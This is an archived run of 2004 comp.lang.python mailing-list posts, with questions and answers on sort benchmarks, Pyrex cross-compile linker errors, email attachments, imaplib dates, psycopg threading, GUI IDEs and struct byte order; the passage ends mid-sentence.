0.0932559967041 sort1 0.0773079395294 sort2 0.176142930984 sort3 0.23094701767 sort4 0.089989900589 list of size 10 sort0 0.866734981537 sort1 0.524667978287 sort2 0.553129911423 sort3 0.529242992401 sort4 0.265748023987 list of size 100 sort0 18.9233298302 sort1 5.04968500137 sort2 5.11950612068 sort3 4.75884985924 sort4 3.0580329895 list of size 1000 sort0 262.217221022 sort1 70.5779349804 sort2 69.9501719475 sort3 54.6528921127 sort4 39.5281660557 Here's my benchmark code import random, operator def make_random_list(n): # Ensure there will be duplicates choose_from = range(n//3+1) return [random.choice(choose_from) for i in range(n)] def do_sort0(hist): values = [ i for i in enumerate(hist)] values.sort(lambda a,b: cmp(b[1],a[1])) return [ a for a,b in values ] def do_sort1(hist): pairs = [(value, offset) for (offset, value) in enumerate(hist)] pairs.sort() return [offset for (value, offset) in pairs] def do_sort2(hist): return [pair[0] for pair in sorted(enumerate(hist), key=lambda pair: pair[1])] def do_sort3(hist): return map(operator.itemgetter(0), sorted(enumerate(hist), key=operator.itemgetter(1))) def do_sort4(hist): indices = range(len(hist)) indices.sort(key=hist.__getitem__) return indices data = make_random_list(100) assert (do_sort0(data) == do_sort1(data) == do_sort2(data) == do_sort3(data) == do_sort4(data)) import timeit for size in [0, 10, 100, 1000]: print " list of size", size for i in range(5): name = "sort%d" % i t = timeit.Timer( setup= ("import __main__\nhist=__main__.make_random_list(%d)" % size), stmt = "__main__.do_%s(hist)" % name) print name, t.timeit(10000) Andrew dalke at dalkescientific.com From frost_python at yahoo.co.uk Sat Sep 25 08:15:16 2004 From: frost_python at yahoo.co.uk (Frost bite) Date: Sat, 25 Sep 2004 13:15:16 +0100 (BST) Subject: Pyrex Compile - Missing Symbols in Python Message-ID: <20040925121516.73022.qmail@web25203.mail.ukl.yahoo.com> I'm trying to get a cross compiler working for arm-wince-pe. This is the output for the primes Pyrex example. If I compile simple Hello, World's etc, it works fine, but for some reason Python libraries/headers seem to produce this. I have libpython2.3.a in /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-wince-pe/lib/ and /usr/lib/python2.3/config. I've checked it using arm-wince-pe-objdump. I also extracted it with arm-wince-pe-ar and it contains the symbols. Below the following output, I've also pasted a debug output from the linker. Any ideas? $ python setup.py build_ext --inplace -c cygwin running build_ext building 'Primes' extension creating build creating build/temp.cygwin-1.5.11-i686-2.3 arm-wince-pe-gcc -O -Wall -I/usr/include/python2.3 -c primes.c -o build/temp.cyg win-1.5.11-i686-2.3/primes.o primes.c: In function `__pyx_f_6primes_primes': primes.c:137: warning: label `__pyx_L4' defined but not used primes.c:108: warning: label `__pyx_L6' defined but not used primes.c:98: warning: label `__pyx_L5' defined but not used primes.c:89: warning: label `__pyx_L3' defined but not used primes.c: At top level: primes.c:12: warning: `__Pyx_UnpackItem' declared `static' but never defined primes.c:13: warning: `__Pyx_EndUnpack' declared `static' but never defined primes.c:14: warning: `__Pyx_PrintItem' declared `static' but never defined primes.c:15: warning: `__Pyx_PrintNewline' declared `static' but never defined primes.c:16: warning: `__Pyx_Raise' declared `static' but never defined primes.c:17: warning: `__Pyx_ReRaise' declared `static' but never defined primes.c:18: warning: `__Pyx_Import' declared `static' but never defined primes.c:19: warning: `__Pyx_GetExcValue' declared `static' but never defined primes.c:20: warning: `__Pyx_ArgTypeTest' declared `static' but never defined primes.c:21: warning: `__Pyx_TypeTest' declared `static' but never defined primes.c:22: warning: `__Pyx_GetStarArgs' declared `static' but never defined primes.c:23: warning: `__Pyx_WriteUnraisable' declared `static' but never define d primes.c:25: warning: `__Pyx_ImportType' declared `static' but never defined primes.c:26: warning: `__Pyx_SetVtable' declared `static' but never defined primes.c:27: warning: `__Pyx_GetVtable' declared `static' but never defined primes.c:28: warning: `__Pyx_CreateClass' declared `static' but never defined primes.c:30: warning: `__Pyx_InitStrings' declared `static' but never defined primes.c:31: warning: `__Pyx_GetName' declared `static' but never defined writing build/temp.cygwin-1.5.11-i686-2.3/Primes.def arm-wince-pe-gcc -mdll -static -s build/temp.cygwin-1.5.11-i686-2.3/primes.o bui ld/temp.cygwin-1.5.11-i686-2.3/Primes.def -L/usr/lib/python2.3/config -lpython2. 3 -o Primes.dll Cannot export initPrimes (initPrimes): symbol not found build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x30):primes.c: undefined refer ence to `PyArg_ParseTupleAndKeywords' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x54):primes.c: undefined refer ence to `PyList_New' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x130):primes.c: undefined refe rence to `PyObject_GetAttr' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x144):primes.c: undefined refe rence to `PyInt_FromLong' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x158):primes.c: undefined refe rence to `PyTuple_New' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x174):primes.c: undefined refe rence to `PyObject_CallObject' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x2d0):primes.c: undefined refe rence to `_Py_NoneStruct' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x308):primes.c: undefined refe rence to `Py_InitModule4' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x320):primes.c: undefined refe rence to `PyImport_AddModule' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x348):primes.c: undefined refe rence to `PyObject_SetAttrString' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x3d4):primes.c: undefined refe rence to `PyString_InternFromString' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x430):primes.c: undefined refe rence to `PyString_FromString' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x444):primes.c: undefined refe rence to `PyString_FromString' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x45c):primes.c: undefined refe rence to `PyModule_GetDict' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x470):primes.c: undefined refe rence to `PyTuple_New' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x484):primes.c: undefined refe rence to `PyString_FromString' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x4d0):primes.c: undefined refe rence to `PyCode_New' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x4e0):primes.c: undefined refe rence to `PyThreadState_Get' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x4f0):primes.c: undefined refe rence to `PyFrame_New' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x508):primes.c: undefined refe rence to `PyTraceBack_Here' /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-wince-pe/lib/crt0.o(.t ext+0x6c): undefined reference to `WinMain' collect2: ld returned 1 exit status error: command 'arm-wince-pe-gcc' failed with exit status 1 ================================================================================ $ arm-wince-pe-gcc -mdll -static -s build/temp.cygwin-1.5.11-i686-2.3/primes.o build/temp.cygwin-1.5.11-i686-2.3/Primes.def -L/usr/lib/python2.3/config -lpythe on2.3 -o Primes.dll -v -Wl,-debug Reading specs from /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/specsundefined refe Configured with: ./configure --enable-languages=c,c++ --target=arm-wince-pe : (r econfigured) ./configure --target=arm-wince-pe --host=arm-wince-pe --enable-lang uages=c,c++ --enable-multilib=no : (reconfigured) ./configure --target=arm-wince -pe --host=arm-wince-pe --enable-languages=c,c++ --enable-multilib=no : (reconfi gured) ./configure --target=arm-pe --enable-languages=c,c++ --enable-multilib=no --with-newlib : (reconfigured) ./configure --target=arm-pe --enable-languages=c ,c++ --enable-multilib=no --with-newlib : (reconfigured) ./configure --target=ar m-pe --enable-languages=c,c++ --enable-multilib=no --with-newlib : (reconfigured ) ./configure --target=arm-wince-pe --enable-languages=c,c++ --enable-multilib=n o --with-newlib : (reconfigured) ./configure --target=arm-wince-pe --enable-lang uages=c,c++ --enable-multilib=no --with-newlib Thread model: single2.1 gcc version 3.3.3rned 1 exit status /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/collect2.exe -X -o Primes.dll -s /usr /local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-wince-pe/lib/crt0.o -L/usr /lib/python2.3/config -L/usr/local/lib/gcc-lib/arm-wince-pe/3.3.3 -L/usr/local/l ib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-wince-pe/lib build/temp.cygwin-1.5 .11-i686-2.3/primes.o build/temp.cygwin-1.5.11-i686-2.3/Primes.def -lpython2.3 - debug -lcdll -lcdllimp -lcoredll Convert string '/usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/:/usr/local/lib/gcc-li b/arm-wince-pe/3.3.3/:/usr/local/lib/gcc-lib/arm-wince-pe/:/usr/lib/gcc/arm-winc e-pe/3.3.3/:/usr/lib/gcc/arm-wince-pe/:/usr/local/lib/gcc-lib/arm-wince-pe/3.3.3 /../../../../arm-wince-pe/bin/arm-wince-pe/3.3.3/:/usr/local/lib/gcc-lib/arm-win ce-pe/3.3.3/../../../../arm-wince-pe/bin/' into prefixes, separator = ':' - add prefix: /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/ - add prefix: /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/ - add prefix: /usr/local/lib/gcc-lib/arm-wince-pe/ - add prefix: /usr/lib/gcc/arm-wince-pe/3.3.3/ - add prefix: /usr/lib/gcc/arm-wince-pe/ - add prefix: /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-wince- pe/bin/arm-wince-pe/3.3.3/ - add prefix: /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-wince- pe/bin/ Convert string '/usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/cygdrive/c/WINDOWS/ system32:/cygdrive/c/WINDOWS:/cygdrive/c/WINDOWS/System32/Wbem:/cygdrive/c/Progr am Files/ATI Technologies/ATI Control Panel' into prefixes, separator = ':' - add prefix: /usr/local/bin/ - add prefix: /usr/bin/ - add prefix: /bin/ - add prefix: /usr/X11R6/bin/ - add prefix: /cygdrive/c/WINDOWS/system32/ - add prefix: /cygdrive/c/WINDOWS/ - add prefix: /cygdrive/c/WINDOWS/System32/Wbem/ - add prefix: /cygdrive/c/Program Files/ATI Technologies/ATI Control Panel/ Looking for 'real-ld' Looking for 'collect-ld' Looking for 'ld' Looking for 'gnm' Looking for 'arm-wince-pe-gnm' Looking for 'nm' Looking for 'gstrip' Looking for 'arm-wince-pe-gstrip' Looking for 'strip' Looking for 'arm-wince-pe-gcc' Looking for 'arm-wince-pe-gcc' collect2 version 3.3.3 (ARM/pe) ld_file_name = /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm- wince-pe/bin/ld c_file_name = /usr/local/bin/arm-wince-pe-gcc nm_file_name = /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm- wince-pe/bin/nm strip_file_name = /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm- wince-pe/bin/strip c_file = /cygdrive/c/DOCUME~1/adam/LOCALS~1/Temp/ccAiL4ml.c o_file = /cygdrive/c/DOCUME~1/adam/LOCALS~1/Temp/cc0qmZzw.o COLLECT_GCC_OPTIONS = '-mdll' '-static' '-s' '-L/usr/lib/python2.3/config' '-o' 'Primes.dll' '-v' COLLECT_GCC = arm-wince-pe-gcc COMPILER_PATH = /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/:/usr/local/lib/ gcc-lib/arm-wince-pe/3.3.3/:/usr/local/lib/gcc-lib/arm-wince-pe/:/usr/lib/gcc/ar m-wince-pe/3.3.3/:/usr/lib/gcc/arm-wince-pe/:/usr/local/lib/gcc-lib/arm-wince-pe /3.3.3/../../../../arm-wince-pe/bin/arm-wince-pe/3.3.3/:/usr/local/lib/gcc-lib/a rm-wince-pe/3.3.3/../../../../arm-wince-pe/bin/ LIBRARY_PATH = /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/:/usr/lib/gcc/ar m-wince-pe/3.3.3/:/usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-winc e-pe/lib/arm-wince-pe/3.3.3/:/usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../ ../arm-wince-pe/lib/ /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-wince-pe/bin/ld -X -o Primes.dll -s /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-wince-pe /lib/crt0.o -L/usr/lib/python2.3/config -L/usr/local/lib/gcc-lib/arm-wince-pe/3. 3.3 -L/usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-wince-pe/lib bui ld/temp.cygwin-1.5.11-i686-2.3/primes.o build/temp.cygwin-1.5.11-i686-2.3/Primes .def -lpython2.3 -lcdll -lcdllimp -lcoredll Cannot export initPrimes (initPrimes): symbol not found build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x30):primes.c: undefined refer ence to `PyArg_ParseTupleAndKeywords' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x54):primes.c: undefined refer ence to `PyList_New' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x130):primes.c: undefined refe rence to `PyObject_GetAttr' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x144):primes.c: undefined refe rence to `PyInt_FromLong' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x158):primes.c: undefined refe rence to `PyTuple_New' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x174):primes.c: undefined refe rence to `PyObject_CallObject' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x2d0):primes.c: undefined refe rence to `_Py_NoneStruct' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x308):primes.c: undefined refe rence to `Py_InitModule4' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x320):primes.c: undefined refe rence to `PyImport_AddModule' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x348):primes.c: undefined refe rence to `PyObject_SetAttrString' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x3d4):primes.c: undefined refe rence to `PyString_InternFromString' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x430):primes.c: undefined refe rence to `PyString_FromString' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x444):primes.c: undefined refe rence to `PyString_FromString' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x45c):primes.c: undefined refe rence to `PyModule_GetDict' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x470):primes.c: undefined refe rence to `PyTuple_New' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x484):primes.c: undefined refe rence to `PyString_FromString' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x4d0):primes.c: undefined refe rence to `PyCode_New' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x4e0):primes.c: undefined refe rence to `PyThreadState_Get' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x4f0):primes.c: undefined refe rence to `PyFrame_New' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x508):primes.c: undefined refe rence to `PyTraceBack_Here' /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-wince-pe/lib/crt0.o(.t ext+0x6c): undefined reference to `WinMain' collect2: ld returned 1 exit status [Leaving /cygdrive/c/DOCUME~1/adam/LOCALS~1/Temp/ccAiL4ml.c] [Leaving /cygdrive/c/DOCUME~1/adam/LOCALS~1/Temp/cc0qmZzw.o] [Leaving /cygdrive/c/DOCUME~1/adam/LOCALS~1/Temp/ccqzXTMH.ld] [Leaving Primes.dll] ___________________________________________________________ALL-NEW Yahoo! Messenger - all new features - even more fun! http://uk.messenger.yahoo.com From lbates at swamisoft.com Fri Sep 10 09:23:04 2004 From: lbates at swamisoft.com (Larry Bates) Date: Fri, 10 Sep 2004 08:23:04 -0500 Subject: MIMEMultipart cuts attached file References: Message-ID: <8Zednc-2xbcuN9zcRVn-uA@comcast.com> You may want to take a look at the smtpwriter class found at: http://motion.sourceforge.net/related/send_jpg.py I use it extensively and it makes email creation (with or without attachments) very easy. At the very least, you should be able to get some hints. Larry Bates Syscon, Inc. "Achim Domma (Procoders)" wrote in message news:chs8d7$p4i$05$1 at news.t-online.com... > Hi, > > I try to send a mulitpart email, which should have a body and two > attached files: a html file and a zip file. My code looks like this: > > > > msg=MIMEMultipart() > msg['From']=sender > msg['To']='; '.join(recipients) > msg['Subject']=subject > msg.epilogue='' > > html=file(reportFile,'rb').read() > report=MIMEText(html,'html') > report.add_header('Content-Disposition','attachment',filename=reportFile) > msg.attach(report) > > data=file(diffFile,'rb').read() > diff=MIMEBase('application','zip') > diff.set_payload(data) > encode_base64(diff) > diff.add_header('Content-Disposition','attachment',filename=diffFile) > msg.attach(diff) > > text=MIMEText("the body text",'plain') > msg.attach(text) > > smtp=smtplib.SMTP('pop_server') > smtp.set_debuglevel(0) > smtp.sendmail(sender,recipients,msg.as_string()) > smtp.quit() > > > > The body of the mail is ok and the zip archive is also valid, but the > end of the html is cut of most of the time. > > Any hints what I'm doing wrong? > > regards, > Achim From claird at lairds.us Tue Sep 7 14:08:03 2004 From: claird at lairds.us (Cameron Laird) Date: Tue, 07 Sep 2004 18:08:03 GMT Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Aug 31) References: Message-ID: In article , Peter Otten <__peter__ at web.de> wrote: >For the record: I no longer collect the weekly Python-URL. >Who done it? > >Peter > Cameron Laird, the same person who committed the clerical error of using your name instead. From aurora00 at gmail.com Wed Sep 22 12:57:21 2004 From: aurora00 at gmail.com (aurora) Date: Wed, 22 Sep 2004 09:57:21 -0700 Subject: for_some(), for_all()? Message-ID: I am trying to test a list to see if some or all elements pass a test. For example I can use reduce() to test if any element is 0. >>> lst = [1,2,0,3] >>> test = lambda x: x == 0 >>> reduce(operator.__or__,[test(x) for x in lst]) True However I bet reduce() does not exploit the short circuit logic. Also it is a little clumsy to create another list to pass into reduce. Is there some equivalent of for_some(test, lst) or for_all(test, lst)? From cbrown at metservice.com Thu Sep 23 19:20:03 2004 From: cbrown at metservice.com (Colin Brown) Date: Fri, 24 Sep 2004 11:20:03 +1200 Subject: imaplib function bug? Message-ID: <4153575a$1@news.iconz.co.nz> The Python 2.3 documentation in imaplib says: Internaldate2tuple( datestr) Converts an IMAP4 INTERNALDATE string to Coordinated Universal Time. Returns a time module tuple. Time2Internaldate( date_time) Converts a time module tuple to an IMAP4 "INTERNALDATE" representation. Returns a string in the form: "DD-Mmm-YYYY HH:MM:SS +HHMM" (including double-quotes). Yet running the following code produces inconsistent results (returning local not UTC time for Internaldate2tuple): import imaplib, time tmtup = time.localtime() imaptm = imaplib.Time2Internaldate(tmtup) print 'local_time:',tmtup print 'local_time:',imaptm utc = imaplib.Internaldate2tuple('INTERNALDATE '+imaptm) print 'utc_time :',utc C:\>python imapbug.py local_time: (2004, 9, 24, 10, 52, 59, 4, 268, 0) local_time: "24-Sep-2004 10:52:59 +1200" utc_time : (2004, 9, 24, 10, 52, 59, 4, 268, 0) Is this a bug? Colin Brown PyNZ From cpl.19.ghum at spamgourmet.com Thu Sep 2 04:03:56 2004 From: cpl.19.ghum at spamgourmet.com (Harald Massa) Date: Thu, 2 Sep 2004 08:03:56 +0000 (UTC) Subject: need an idea, recognize sequence, fsm or genetic ? References: <63b5e209.0409012321.5850291f@posting.google.com> Message-ID: joh12005, your problem sounds as it may be solvable with mxtexttools. they claim to be very fast in analyzing text and splitting into python tuples. I never fully understood how to deal with them, sorry. so just google for it and try it. David Merz wrote "text processing in python" and dealt with this tools. Sun, Harald From maxm at mxm.dk Thu Sep 23 02:01:17 2004 From: maxm at mxm.dk (Max M) Date: Thu, 23 Sep 2004 08:01:17 +0200 Subject: python vs c# In-Reply-To: <96c2e938.0409221423.3c1ca868@posting.google.com> References: <1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com> <41513aac$0$285$edfadb0f@dread12.news.tele.dk> <96c2e938.0409221423.3c1ca868@posting.google.com> Message-ID: <41526683$0$217$edfadb0f@dread12.news.tele.dk> G. S. Hayes wrote: > I'm not sure what you mean by this, I can't really imagine a system > "bigger than Python" in the sense of "so big that Python was a bad > choice for implementation" or "so big that Python started to get in > the way/didn't support development/etc". You have a learning curve for the language, and a learning curve for the system. What I meant was that the learning curve for the system is much bigger than the langugage. So learning the system becomes a much bigger task than using any specific language. In that case, tool support could be more important than language, as the right tool could help you understand the system better. I am not saying it is like that. Just that I could imagine a tool that could make you understand big systems better, and that less dynamic languages would be easier to write those kind of tools for. I often find that debugging is pretty trivial. But what I really hate is when I trace the bug into a subsystem that I have not written. Then I can spend several days solving it, as I have to learn and understand that subsystem. In that case the system is larger than the language. -- hilsen/regards Max M, Denmark http://www.mxm.dk/ IT's Mad Science From greg at cosc.canterbury.ac.nz Thu Sep 9 02:30:49 2004 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Thu, 09 Sep 2004 18:30:49 +1200 Subject: Anyone know anything named DX? (was Re: Announcing PyCs) In-Reply-To: References: <20040901221925.2128958333.EP@zomething.com> <1stv02-qlp.ln1@home.rogerbinns.com> Message-ID: <2qabkpFt9ltbU2@uni-berlin.de> Peter Hansen wrote: > I thought I'd give the several potential ones > that it popped up for me amidst the crap: > > cowbird Is that related to the dogcow? -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From jzgoda at gazeta.usun.pl Wed Sep 22 16:14:06 2004 From: jzgoda at gazeta.usun.pl (Jarek Zgoda) Date: Wed, 22 Sep 2004 20:14:06 +0000 (UTC) Subject: python is going to die! =( References: <10ksur1ou8hb777@corp.supernews.com> <2rafspF17n18jU1@uni-berlin.de> <0f71l09s44fu9rtg6lrte3qeicgu40off1@4ax.com> Message-ID: Fred pisze: >>I do notice though that when I try to convince a co-worker to try Python, >>the thing that seems to be the biggest turn off is the lack of an IDE with a >>GUI designer included standard > > I agree. Once you're used to the productivity of Delphi or VB, it's a > big turn-off to have to go back to building GUI's by hand, and > shipping the 3MB DLL for wxWidgets is an extra reason why newbies > might give up on another excellent tool. Too bad Guido et al. didn't > take the GUI part into consideration earlier. I love Delphi, 5 days a week, 9:00-17:30, but I don't want Python to be bound to one platform, as Delphi is (no, Kylix is not an answer, it's a disaster). I'm really happy (and productive) using wx on Windows and PyQt on linux, with wxGlade and Qt Designer as GUI designers. There's only one thing from Delphi I'd like to see in other IDE's -- its integrated debugging is great. Eclipse (w. Java) has very similar model of debugger integration. > But then, maybe someone will come up with a good IDE + GUI designer as > part of the .Net shebbang. Go, try Delphi 8. -- Jarek Zgoda http://jpa.berlios.de/ | http://www.zgodowie.org/ From alban at magproductions.nl Mon Sep 20 11:22:36 2004 From: alban at magproductions.nl (Alban Hertroys) Date: Mon, 20 Sep 2004 17:22:36 +0200 Subject: Psycopg and threads problem In-Reply-To: <0fidnS729Ln4bdPcRVn-hQ@giganews.com> References: <0fidnS729Ln4bdPcRVn-hQ@giganews.com> Message-ID: <414EF5BC.9010002@magproductions.nl> This has become a bit of a mixed reply, but I think it's better for understanding the problem I'm trying to solve. Istvan Albert wrote: > Alban Hertroys wrote: > >> my problem is that psycopg let's my threads end before the inserts >> actually took place, resulting in my collecting thread finding no > > > Make sure you commit the inserts. Otherwise you might > simply end up selecting on the old view. > > There is a commit when you close the db connection so the data is > there when you check it later. When migrating from dbs > without transaction support this can be very confusing. But PostgreSQL does have transaction support... I rely on that. It is one of the reasons I chose for Python (+psycopg). The script I'm working on does bulk inserts from multiple related XML files (parsed using the sax parser) and take turns inserting small batches of xml records from those files. The collection thread combines these into 1 xml record, which is why it's so important that the inserts are done in time. I can't commit until all the data has been inserted and combined. The commit shouldn't happen until the end of the main thread is reached. If the server goes down, or there's another reason it can't continue parsing, the whole transaction should rollback. Committing in between would be 'problematic' (where in the XML files were we interupted? Hard to tell). Also, I don't think I can join the threads (as someone else suggested), as they are still working in an Application instance (part of the SAX parser). The threads are waiting until they're allowed to continue; by a linked list of Events (so that I can remove events for threads that finished - which shouldn't happen, but it may). Unless I misunderstand thread joining, of course. I have to admit that I have very little experience with thread programming, and this is (part of) my first Python program. It is definitely a steep learning curve; I hope I don't fall back down too often. So far, Python has been nice to me :) Alban. From jjl at pobox.com Mon Sep 13 15:40:33 2004 From: jjl at pobox.com (John J. Lee) Date: 13 Sep 2004 20:40:33 +0100 Subject: File upload by urllib2 References: <6f402501.0409130218.2901e871@posting.google.com> Message-ID: <87zn3u0xfy.fsf@pobox.com> fuzzyman at gmail.com (Michael Foord) writes: > Does anyone know how to do a 'file upload' using urllib2 ? [...] GIYF: http://www.google.com/search?q=%22file+upload%22+urllib2&btnI=I%27m+Feeling+Lucky Example: http://www.google.com/groups?threadm=87r7ryf8rc.fsf%40pobox.com John From irmen at -nospam-remove-this-xs4all.nl Tue Sep 14 15:25:18 2004 From: irmen at -nospam-remove-this-xs4all.nl (Irmen de Jong) Date: Tue, 14 Sep 2004 21:25:18 +0200 Subject: Communication between remote scripts In-Reply-To: References: <41471f73$0$10528$e4fe514c@news.xs4all.nl> Message-ID: <4147459f$0$36861$e4fe514c@news.xs4all.nl> ChrisH wrote: > Thanks for the info. I've actually been looking at Pyro as a possible > solution. In some ways however, it seems a lot more powerful than what I > need for this project. > > Could you give a simple example of how a two programs can "talk" to one > another? I don't think I really need RPCs in this case. Well if you don't want (or need) Pyro or another high-level RPC mechanism, you have to decide on something else. TCP or UDP socket communication is an option. See Tim Golden's reply. The Python source distribution contains some small socket examples (in Demo/sockets/). --Irmen From gerrit at nl.linux.org Mon Sep 20 13:46:24 2004 From: gerrit at nl.linux.org (Gerrit) Date: Mon, 20 Sep 2004 19:46:24 +0200 Subject: some basic questions... In-Reply-To: References: Message-ID: <20040920174624.GA7000@nl.linux.org> Player wrote: > [book quote] > > Can someone explain this in some different wording, because I dn't know if > my understanding of what is said in that paragraph is right or not? A .py file can be executed in several ways. When you use 'import foo', the value of 'foo.__name__' is "foo". When you start foo.py directly, the value of __name__ is '__main__': Suppose the content of foo.py is: print __name__ Now let's run it from the commandline: $ python foo.py __main__ What happens when we import it as a module? >>> import foo foo The same code gets executed, but with a different result. So, the special variable '__main__' gives us a way to tell the difference: are we being executed "directly by the user", or are we being used as a library? In many occasions, we want to act differently. What is seen often is this: if __name__ == '__main__': main() This executed the main() function if and only if the .py file is being run directly from the commandline or from Windows. If we import the file, we may not want to run the program at all: the if-block prevents it. See also: http://www.python.org/doc/faq/programming.html#how-do-i-find-the-current-module-name : A module can find out its own module name by looking at the predefined global variable __name__. If this has the value '__main__', the program is running as a script. Many modules that are usually used by importing them also provide a command-line interface or a self-test, and only execute this code after checking __name__: def main(): print 'Running test...' ... if __name__ == '__main__': main() > Can somebody explain what the, "self" is actually for?? Well, that's a long story, it's all about Object Oriented Programming. In short, 'self' is, well, self: >>> class Foo(object): ... def method(self): ... return self ... >>> f = Foo() >>> f.method() == f True See also: http://www.python.org/doc/faq/programming.html#what-is-self : Self is merely a conventional name for the first argument of a method. A method defined as meth(self, a, b, c) should be called as x.meth(a, b, c) for some instance x of the class in which the definition occurs; the called method will think it is called as meth(x, a, b, c). hope this helps, Gerrit Holl. -- Weather in Twenthe, Netherlands 20/09 18:25: 13.0?C wind 8.9 m/s SSW (57 m above NAP) -- Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL. Experiences with Asperger's Syndrome: EN http://topjaklont.student.utwente.nl/english/ NL http://topjaklont.student.utwente.nl/ From mcfletch at rogers.com Thu Sep 2 10:17:20 2004 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Thu, 02 Sep 2004 10:17:20 -0400 Subject: about presicion In-Reply-To: References: <1gjfjq0.1bpe86xzyakjcN%aleaxit@yahoo.com> Message-ID: <41372B70.80601@rogers.com> David Bolen wrote: ... >Yes, but the next bullet on the MS site says: > > C Runtime Library and the C++ Standard Library, including the Standard > Template Library. These are the same static-link libraries included > with Visual Studio. > >Note the "static-link" part. I don't believe the free compiler comes >with support for building dynamically linked (to the C library) >applications, which is what Python extensions are. > > The compiler package doesn't include the lib needed for the dynamic modules, but the compiler itself has support *if* you have that library available, and the .NET Framework SDK has the library. Again, see http://www.vrplumber.com/programming/mstoolkit/ for all the gory details. Enjoy, Mike ________________________________________________ Mike C. Fletcher Designer, VR Plumber, Coder http://www.vrplumber.com http://blog.vrplumber.com From jmlai at uci.edu Fri Sep 10 16:17:14 2004 From: jmlai at uci.edu (Jason Lai) Date: Fri, 10 Sep 2004 13:17:14 -0700 Subject: python and bit shifts and byte order, oh my! In-Reply-To: References: <9490d.126$KA1.1800@news1.mts.net> <4141e6f2$0$67058$a1866201@newsreader.visi.com> Message-ID: Reid Nichol wrote: > Phil Frost wrote: > >> The standard 'struct' module provides methods to specify the byte order >> of the input. >> >> On Fri, Sep 10, 2004 at 02:13:52PM -0500, Reid Nichol wrote: >> >>>> The code that writes x to a file and reads it from a file is >>>> what you have to worry about. >>>> >>> >>> So, I have to handle the byte order myself during file i/o. >>> >>> >>> Thank you Grant and Daniel! I cleared up a a bunch of my fuzziness :) > > > It's my understanding that pack and unpack of the struct module returns > strings and not rearranged integers. > > At any rate I would rather do it myself if only to teach myself > something about this. pack returns a string. Which is a sequence of characters, which also happen to be bytes. So you write the string (sequence of bytes) to the file. I don't think you usually need to rearrange integers in memory; it's mainly when you're writing to disk. unpack returns a tuple of objects according to the format string. So struct.unpack("!i", "abcd") returns (1633837924,). In your case, you'd read in 4 bytes and unpack it to a 32-bit int. If efficiency isn't important, you could forget about the whole byte-order thing and just read/write it byte-by-byte. Then you can think of the file as a bit-stream (everything gets written in order and read 